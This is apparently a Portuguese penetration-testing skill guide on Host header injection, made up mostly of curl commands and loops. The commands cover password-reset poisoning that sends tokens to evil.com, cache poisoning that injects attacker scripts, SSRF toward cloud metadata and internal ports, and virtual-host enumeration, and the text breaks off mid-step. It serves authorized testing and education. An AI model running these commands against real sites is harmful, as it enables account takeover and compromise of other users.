Testando Injeção de Cabeçalho Host

Quando Usar

• Ao testar a funcionalidade de redefinição de senha para roubo de tokens via manipulação de host
• Durante a avaliação do comportamento de cache da web influenciado por valores do cabeçalho Host
• Ao testar o roteamento de host virtual e o processamento do lado do servidor
• Durante testes de penetração de aplicações atrás de proxies reversos ou balanceadores de carga
• Ao avaliar o potencial de SSRF através da manipulação do cabeçalho Host

Pré-requisitos

• Burp Suite para interceptar e modificar cabeçalhos Host
• Compreensão do papel do cabeçalho Host HTTP em hospedagem virtual e roteamento
• Conhecimento de cabeçalhos host alternativos (X-Forwarded-Host, X-Host, X-Original-URL)
• Acesso a um domínio controlado pelo atacante para receber requisições envenenadas
• Burp Collaborator ou interact.sh para detecção out-of-band
• Múltiplas contas de teste para testes de redefinição de senha

Aviso Legal: Esta habilidade é apenas para testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou tem permissão escrita para testar é ilegal e pode violar leis de fraude computacional.

Fluxo de Trabalho

Etapa 1 — Testar Injeção Básica de Cabeçalho Host

# Supply arbitrary Host header
curl -H "Host: evil.com" http://target.com/ -v
# Check if application reflects evil.com in response

# Double Host header
curl -H "Host: target.com" -H "Host: evil.com" http://target.com/ -v

# Host header with port injection
curl -H "Host: target.com:evil.com" http://target.com/ -v
curl -H "Host: target.com:@evil.com" http://target.com/ -v

# Absolute URL with different Host
curl --request-target "http://target.com/" -H "Host: evil.com" http://target.com/ -v

# Check for different virtual host access
curl -H "Host: admin.target.com" http://target.com/ -v
curl -H "Host: internal.target.com" http://target.com/ -v
curl -H "Host: localhost" http://target.com/ -v

Etapa 2 — Testar Envenenamento de Redefinição de Senha

# Trigger password reset with modified Host header
# The reset link may use the Host header value in the URL
curl -X POST http://target.com/forgot-password \
  -H "Host: evil.com" \
  -d "email=victim@target.com"
# If reset email contains: http://evil.com/reset?token=xxx
# Attacker receives the token when victim clicks the link

# Try X-Forwarded-Host for password reset poisoning
curl -X POST http://target.com/forgot-password \
  -H "X-Forwarded-Host: evil.com" \
  -d "email=victim@target.com"

# Port-based injection in reset URL
curl -X POST http://target.com/forgot-password \
  -H "Host: target.com:80@evil.com" \
  -d "email=victim@target.com"

# Test with various forwarding headers
for header in "X-Forwarded-Host" "X-Host" "X-Original-URL" "X-Rewrite-URL" "X-Forwarded-Server" "Forwarded"; do
  curl -X POST http://target.com/forgot-password \
    -H "$header: evil.com" \
    -d "email=victim@target.com"
  echo "Tested: $header"
done

Etapa 3 — Testar Envenenamento de Cache da Web via Cabeçalho Host

# If caching layer uses URL (without Host) as cache key:
# Poison cache with modified Host header
curl -H "Host: evil.com" http://target.com/ -v
# If response is cached and contains evil.com links
# All subsequent users receive poisoned content

# Test with X-Forwarded-Host for cache poisoning
curl -H "X-Forwarded-Host: evil.com" http://target.com/login -v
# Check X-Cache header to see if response was cached

# Verify cache poisoning
curl http://target.com/login -v
# If response still contains evil.com, cache is poisoned

# Poison JavaScript URLs in cached pages
curl -H "X-Forwarded-Host: evil.com" http://target.com/
# If page loads: <script src="//evil.com/static/app.js">
# Attacker serves malicious JavaScript to all users

Etapa 4 — Testar SSRF via Cabeçalho Host

# Backend may use Host header to make internal requests
curl -H "Host: internal-api.target.local" http://target.com/api/proxy

# Access cloud metadata via Host header
curl -H "Host: 169.254.169.254" http://target.com/

# Internal port scanning
for port in 80 443 8080 8443 3000 5000 9200; do
  curl -H "Host: 127.0.0.1:$port" http://target.com/ -o /dev/null -w "%{http_code}" -s
  echo " - Port $port"
done

# SSRF via absolute URL
curl --request-target "http://internal-server/" -H "Host: internal-server" http://target.com/

Etapa 5 — Testar Enumeração de Host Virtual

# Enumerar hosts virtuais
for vhost in admin staging dev test api internal backend; do
  status=$(curl -H "Host: $vhost.target.com" http://target.com/ -o /dev/null -w "%{http_code}" -s)

…